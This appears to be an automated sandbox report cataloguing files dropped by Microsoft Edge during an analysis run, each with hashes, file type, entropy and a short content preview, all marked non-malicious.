Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640139822627159
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7o:fwUQC5VwBIiElEd2K57P7o
MD5:	3F661497580210A9A5B194DBDE387CBD
SHA1:	AC5DA82539FDF967C0D29284446BBF33C1023DE3
SHA-256:	8615001DB8EA389D4FF271071160DD5F17A56A2FF6412C3D0A77531FBA8234C1
SHA-512:	8B7CE599B9C5A232BBB45152B5FE7850C2A7161EE914B04A63EDB0EF313D6C5A53962614F664908518B630D97F84C0EA5FED4CC0404D10EF9E5B6D58AB037437
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-67393B0C-1EC8.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.45272578053620427
Encrypted:	false
SSDEEP:	3072:pNeuOGe5L0WfjE86IxTUfQdEVkzB4qFsRAqmDCZ+4Il7ig1HFI:+uO/286I5UfQ520sGqmDCDIl7iaHu
MD5:	4CECDEE8C02013A2846B43AC1B82BE70
SHA1:	E3C289871A1786331EC7B9296FEC5C1C673EDE4A
SHA-256:	2DB78FA0CA719FC256983E8292DBB5BF4A7BC9881FF610C6093677B329F1A097
SHA-512:	2635605CD84344F469B9FB66BE63B4810DBE502AFD63E6B408C5E95E897F1F8966C239B9A64F4E62FC884D06BC382B312947A04DB2F854409171462B840421E3
Malicious:	false
Preview:	...@..@...@.....C.].....@...............p...@...............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30...............117.0.2045.55-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".cihqia20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@....................................w..U?:K...G...W6.>.........."....."...24.."."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...Nb.X9.I@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2................. .`2.....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.0984945491284295
Encrypted:	false
SSDEEP:	3:FiWWltlcUpPmPIijS3XbnbO6YBVP/Sh/JzvbYuDRBOc7cEJHCll:o1cUh4Y3LbO/BVsJDbYuDRBOycd
MD5:	AFAC5E4CC1213807ACB7D1A0F61BCF99
SHA1:	FEDCA0A829A0DBCCD1E9D7048398372FF9604783
SHA-256:	FF48F538CBF3D665C9B115D6F3F6459E0CD7D9DF368E921E5A4BF2CA88E3C55F
SHA-512:	44F1A7E8C8DD1D5CE625AE26ED4074900A979ACD34BAFB3D3B354145690D37D34E07F2D0D9DEE81BE80EAFA9E3973AB11AD6E85EB23A804958584D8DB4902D66
Malicious:	false
Preview:	sdPC.....................cT..\.E.....P."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................7aa5fc64-f4df-45d8-92ed-89470ca1c2d2............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\31f70182-d3bc-4615-9f41-433c5c003d96.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28366
Entropy (8bit):	5.5575741540164945
Encrypted:	false
SSDEEP:	768:xR1BBEWOv7pLGLp4lW5wgOf4yB8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPksITINnO:x/3Elpcp4lWagOfbBu1jap9M00Htk
MD5:	8C352D7F0C4BC9CEEACC6ABAFFCBAB80
SHA1:	BB2F8333A4CAD691D7FA78402C1A0CBFCEB2556F
SHA-256:	5F78F637378F03203BEF5EC4D7855F338DA230447DE9EE048CCB2D845D7693FE
SHA-512:	A33702A79ADF302D08A58D511CE2057869BDE126C4941C30E83801B9B5EA10DAF934141CFCE878C91B8B3B1CDFB215FA6057C56493C9D91646090172BA34F1DE
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376277516240767","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376277516240767","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\41b6af96-526b-4f86-a120-dbf32c6022fa.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\464801d4-aa27-4beb-9fa9-07b085e20ffd.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9759
Entropy (8bit):	5.110760527436327
Encrypted:	false
SSDEEP:	192:stLkdpBosvVAaFvrE9k/lF8cbV+F1FIK7QAuMUwjPmYJ:stLQGsvVACDvbG1F97QZXi
MD5:	33E382EAAE795A31E4A47EC75D5B4A3E
SHA1:	55E331B2C8526FFC7492AB247FCB7CB3CA1FA639
SHA-256:	DED76AED8B767E1BCBA85CF70EC0424637EC2D1073C2B352CC30F424537A2150
SHA-512:	3974D4444DC79F033BAE1BE1A41709D0715E7F02A74847CDD90C310BD9D68FBFE9ED9D396644C9532126B3F65B8A2AA4CAEBEE3F7A7D4BDAF31B5E668C1106B1
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376277516731996","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\53c9fc70-5357-487a-b0fc-194a3227e1bd.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\7637e0e2-514e-40cc-9c0d-5a223ba00b81.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (16797), with no line terminators
Category:	dropped
Size (bytes):	16801
Entropy (8bit):	5.4508941448532
Encrypted:	false
SSDEEP:	384:stLPGQSu4GsvVACDo+bfhIibG1F97QwLXi:stOXuSVACs4bGOSi
MD5:	B8E5B0870B66A92A72558C5E5ED14770
SHA1:	A52E4F9E00F96E88B578A5137F8A0368459B5F1E
SHA-256:	75135E46A9795997FEB365B43D0F4F57121C27AD1991A83203D3D5C1DCCCEDC5
SHA-512:	AFA8AB6A46651E3AC4D37CEC2B572FDEA7D3A89EC800944B41BD9F82EF4CE0305E85CB94FCD9D347323958D93BDA74825F824CE015DA7B4B447E5CD29591FAC0
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376277516731996","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	313
Entropy (8bit):	5.2666773162051355
Encrypted:	false
SSDEEP:	6:HUsYEq1N723oH+Tcwtp3hBtB2KLlVUsp3+q2PN723oH+Tcwtp3hBWsIFUv:BaaYebp3dFLEvVaYebp3eFUv
MD5:	BAC39C2DE2695CE6775D3CC4C496207B
SHA1:	AB99946A8405DC9EE4EAE6A1B918B9AF53BD3386
SHA-256:	0F6D4F60CF677FE86C6FA7CF2F1C49A32F5B936319B7501E8A286DFCA1B041DD
SHA-512:	4255BDCAE7759272DB1C19DB9D6A417C65D00F58A88AF5236FE02E1B79B6B7677A8F13B1E045A14FBC96103F9FB0629F43B613806AB7B762A3A01F41F527EB4F
Malicious:	false
Preview:	2024/11/16-19:38:41.495 1f88 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/16-19:38:41.580 1f88 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.222865661854133
Encrypted:	false
SSDEEP:	24576:IbPMZpVqfI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:IbkZpVqfx2mjF
MD5:	9F0281D3775D1EAC29F6709A0D8FB139
SHA1:	F0C1C60829EBC0D1933DF413A948075F739342BC
SHA-256:	FE4DD400ABD2BF37CFE8E563BB4BBA5391F628D891276CD2F9AF4F3B2763A65A
SHA-512:	3AEBDEC1C8272A04B760B707FBDC80A35A997A175C930E8DF2DF7DA65FFDAF1058002F7F322AE9C8DD41C993BC819F25C7CEE778CED6DF64107DFEFED877BEC1
Malicious:	false
Preview:	...m.................DB_VERSION.1.f.+.................QUERY_TIMESTAMP:arbitration_priority_list4...13340960289901340.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.103101757678615
Encrypted:	false
SSDEEP:	6:HUseyq2PN723oH+Tcwt9Eh1tIFUt8YUsG1Zmw+YUshpRkwON723oH+Tcwt9Eh15d:2yvVaYeb9Eh16FUt87/+UpR5OaYeb9Er
MD5:	434897853D4A767BE55CA9F08F9FA0DD
SHA1:	8E13ADF15F8135EF342732BB70566DBA5A4C1BF0
SHA-256:	1A66547E8069C6F8ADC91174EA4F355215CADC956EE0244AE145AE532F337415
SHA-512:	B6CD2167E6E2CA25E053CC9B6467181C620E200885435CBEB86CC4C43DABAA219244ADA504AFD451252B7012FF77F7369E91311F842E181E99B1661A00499BD2
Malicious:	false
Preview:	2024/11/16-19:38:41.432 1de4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/16-19:38:41.434 1de4 Recovering log #3.2024/11/16-19:38:41.440 1de4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.103101757678615
Encrypted:	false
SSDEEP:	6:HUseyq2PN723oH+Tcwt9Eh1tIFUt8YUsG1Zmw+YUshpRkwON723oH+Tcwt9Eh15d:2yvVaYeb9Eh16FUt87/+UpR5OaYeb9Er
MD5:	434897853D4A767BE55CA9F08F9FA0DD
SHA1:	8E13ADF15F8135EF342732BB70566DBA5A4C1BF0
SHA-256:	1A66547E8069C6F8ADC91174EA4F355215CADC956EE0244AE145AE532F337415
SHA-512:	B6CD2167E6E2CA25E053CC9B6467181C620E200885435CBEB86CC4C43DABAA219244ADA504AFD451252B7012FF77F7369E91311F842E181E99B1661A00499BD2
Malicious:	false
Preview:	2024/11/16-19:38:41.432 1de4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/16-19:38:41.434 1de4 Recovering log #3.2024/11/16-19:38:41.440 1de4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.4622740554372167
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBuCP:TouQq3qh7z3bY2LNW9WMcUvBug
MD5:	670E5BA5C4F62707BA419676DB2D8EC0
SHA1:	1547B3F099DADD514FC6708EA5567BEEA5FF7206
SHA-256:	4704BCB06F5C9C55A729807739CF92AAAC74FF8FA11BB1EBA11FE8BB38423C18
SHA-512:	8AA525A09874B0B2118419875BD2C7D5D78BCBEA7D1B24A038C078760F961F403CEF0403FB4DEE6B3BC9D2E0048C4B2C73E6CA689EBD9A897743D0B632CA5341
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.231507147189369
Encrypted:	false
SSDEEP:	6:HUjWMq2PN723oH+TcwtnG2tMsIFUt8YUlZmw+YUxRFkwON723oH+TcwtnG2tMsLJ:GjvVaYebn9GFUt8r/+LP5OaYebn95J
MD5:	FD1875439889C967354AA0C3F996845E
SHA1:	34CDC5B6E2FA48EA394D89ABDA865B06E3670F1F
SHA-256:	3B251EA9E45E4341DAC50B94EBC1ACBA8111453D3E86485B877E1AE1CD469A45
SHA-512:	D8F48CBDCCA2CED7B7714B22F567924FA3076B4320A5B3B51BEE62948D9F471B9DB0DBD753863B1363202F6C6E01A4364C6E2F22BE7592F152142ECC77805648
Malicious:	false
Preview:	2024/11/16-19:38:36.292 1fb4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/16-19:38:36.316 1fb4 Recovering log #3.2024/11/16-19:38:36.318 1fb4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

